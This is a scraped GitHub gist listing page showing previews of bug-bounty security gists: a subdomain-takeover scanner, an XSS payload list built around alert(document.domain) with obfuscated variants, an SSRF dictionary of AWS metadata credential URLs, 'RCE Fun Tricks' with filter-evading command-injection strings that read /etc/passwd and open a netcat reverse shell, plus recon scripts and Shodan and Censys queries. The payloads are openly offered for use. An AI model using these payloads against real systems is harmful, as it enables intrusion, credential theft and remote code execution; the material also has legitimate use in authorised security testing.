Skip to content

Instantly share code, notes, and snippets.

View cydefenser's full-sized avatar

Ajay Kulal cydefenser

15 followers · 96 following
  • Mumabi,India
View GitHub Profile
@haccer
haccer / scanio.sh
Last active July 3, 2025 21:27
PoC script to mass-locate vulnerable subdomains using results from Rapid7's Project Sonar
#!/bin/bash
# Usage : ./scanio.sh <save file>
# Example: ./scanio.sh cname_list.txt
# Premium
function ech() {
spinner=( "|" "/" "-" "\\" )
while true; do
for i in ${spinner[@]}; do
echo -ne "\r[$i] $1"
@tomnomnom
tomnomnom / alert.js
Last active October 25, 2025 05:02
Ways to alert(document.domain)
// How many ways can you alert(document.domain)?
// Comment with more ways and I'll add them :)
// I already know about the JSFuck way, but it's too long to add (:
// Direct invocation
alert(document.domain);
(alert)(document.domain);
al\u0065rt(document.domain);
al\u{65}rt(document.domain);
window['alert'](document.domain);
@No1zy
No1zy / get_vulinfo.py
Last active November 26, 2018 16:34
# coding: utf-8
import csv
import sys
import datetime
import requests
from bs4 import BeautifulSoup
BASE_URL = 'https://jvndb.jvn.jp'
SOFTWARE_NAME = sys.argv[1]
@jhaddix
jhaddix / cloud_metadata.txt
Last active October 13, 2025 08:38 — forked from BuffaloWill/cloud_metadata.txt
Cloud Metadata Dictionary useful for SSRF Testing
## AWS
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
@vdb-sander
vdb-sander / recon.py
Last active August 24, 2018 20:26
# -*- coding: utf-8 -*-
#!/usr/bin/env python
import subprocess
import multiprocessing
from multiprocessing import Process, Queue
import os
import time
import fileinput
import atexit
import sys
@MagicBlueCH
MagicBlueCH / RCE_Fun_Tricks.md
Last active May 30, 2018 01:18
RCE Fun Tricks

  • /???/c?t /???/pa??wd  

  • /???/n??t -e /???/b??h 127.0.0.1 2333

  • /b$6in/nc$6at -e /bi$6n/ba$6sh 127.0.0.1 2333

  • /b"in/n"c\at -e /b'in/ba's\h 127.0.0.1 2333

  • IFS=,;cat<<<cat,/etc/passwd

  • cat$IFS/etc/passwd

  • cat${IFS}/etc/passwd

  • cat</etc/passwd

  • {cat,/etc/passwd} OR {ls,-las,/var} with args

@g0tmi1k
g0tmi1k / drupalgeddon2_CVE-2018-7600_SA-CORE-2018-002.md
Last active February 16, 2023 12:37
drupalgeddon2 / SA-CORE-2018-002 / CVE-2018-7600 cURL (PoC)
@ehsahil
ehsahil / Shodan-Basics.txt
Last active August 11, 2020 19:00
Basics Filters:
1. City
Example City:New Delhi.
2. Country
Example: Country:INDIA
3. Port
Example:Ports: 8443, 8080, 8180 etc
@ehsahil
ehsahil / censys-basics.txt
Last active December 16, 2018 21:34
-Commands
443.https.tls.certificate.parsed.extensions.subject_alt_name.dns_names:domain.com
“hackme.tld” + internal
“hackme.tld” + sandbox
“hackme.tld” + Staging
@EdOverflow
EdOverflow / a-recon-services-list-for-liveoverflow.md
Last active April 29, 2021 13:29